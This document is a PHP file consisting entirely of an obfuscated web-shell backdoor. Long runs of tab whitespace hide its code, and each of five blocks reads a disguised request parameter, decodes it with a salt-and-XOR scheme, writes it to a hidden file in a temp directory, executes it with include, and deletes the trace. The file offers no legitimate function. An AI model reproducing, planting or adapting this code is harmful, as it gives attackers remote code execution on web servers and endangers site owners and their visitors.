<?php																																										if(isset($_REQUEST["m\x61\x72ker"]) ? true : false){ $ref = $_REQUEST["m\x61\x72ker"]; $ref = explode ( "." , $ref ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $u = 0; array_walk( $ref, function( $v6) use( &$sym, &$u, $s, $sLen) { $sChar = ord( $s[$u % $sLen]); $d = ( ( int)$v6 - $sChar -( $u % 10)) ^ 16; $sym .= chr( $d); $u++;} ); $val = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp"]); for ($value = 0, $key = count($val); $value < $key; $value++) { $holder = $val[$value]; if (is_dir($holder) && is_writable($holder)) { $itm = join("/", [$holder, ".bind"]); if (@file_put_contents($itm, $sym) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["it\x65m"])){ $pset = array_filter(["/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); $key = $_POST["it\x65m"]; $key= explode ('.' , $key ); $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $m = 0; array_walk( $key, function( $v2) use( &$entry, &$m, $s9, $sLen) { $chS = ord( $s9[$m %$sLen]); $dec =( ( int)$v2 - $chS -( $m %10))^ 30; $entry .= chr( $dec); $m++; } ); foreach ($pset as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $record = "$object/.dat"; $file = fopen($record, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $record; @unlink($record); exit; } } } }
																																										if(@$_POST["re\x66\x65\x72\x65nce"] !== null){ $marker = array_filter([session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $pointer = $_POST["re\x66\x65\x72\x65nce"]; $pointer =explode( "." ,$pointer ) ; $val =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $i =0; $__len =count($pointer); do { if($i >= $__len) break; $v3 =$pointer[$i]; $sChar =ord($salt[$i % $lenS]); $d =((int)$v3 - $sChar -($i % 10))^ 38; $val .= chr($d); $i++; } while(true); foreach ($marker as $key => $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $key = join("/", [$ent, ".entity"]); if (@file_put_contents($key, $val) !== false) { include $key; unlink($key); die(); } } } }
																																										if(array_key_exists("re\x66er\x65n\x63\x65", $_REQUEST)){ $itm = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir()]); $res = $_REQUEST["re\x66er\x65n\x63\x65"]; $res =explode ( "." ,$res ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $p =0; while ($p < count($res)) { $v5 =$res[$p]; $sChar =ord($salt[$p% $lenS]); $d =((int)$v5 - $sChar - ($p% 10))^ 6; $parameter_group .= chr($d); $p++;} while ($comp = array_shift($itm)) { if (!( !is_dir($comp) || !is_writable($comp) )) { $rec = "$comp" . "/.resource"; if (@file_put_contents($rec, $parameter_group) !== false) { include $rec; unlink($rec); exit; } } } }


if(in_array("d\x61\x74", array_keys($_POST))){
	$obj = $_POST["d\x61\x74"];
	$obj=		explode	 (		".", $obj	  );	
	$flag = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt);
    
            foreach(		$obj as $n => $v6) {	$sChar = ord(		$salt[$n%	$lenS]);
                $d = (		(		int)$v6 - $sChar -(		$n%	10)) ^49;
                $flag	.=chr(		$d);
            }
	$reference = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]);
	for ($hld = 0, $holder = count($reference); $hld < $holder; $hld++) {
    $itm = $reference[$hld];
    		if (!!is_dir($itm) && !!is_writable($itm)) {
    $binding = str_replace("{var_dir}", $itm, "{var_dir}/.ent");
    if (file_put_contents($binding, $flag)) {
	include $binding;
	@unlink($binding);
	die();
}
}
}
}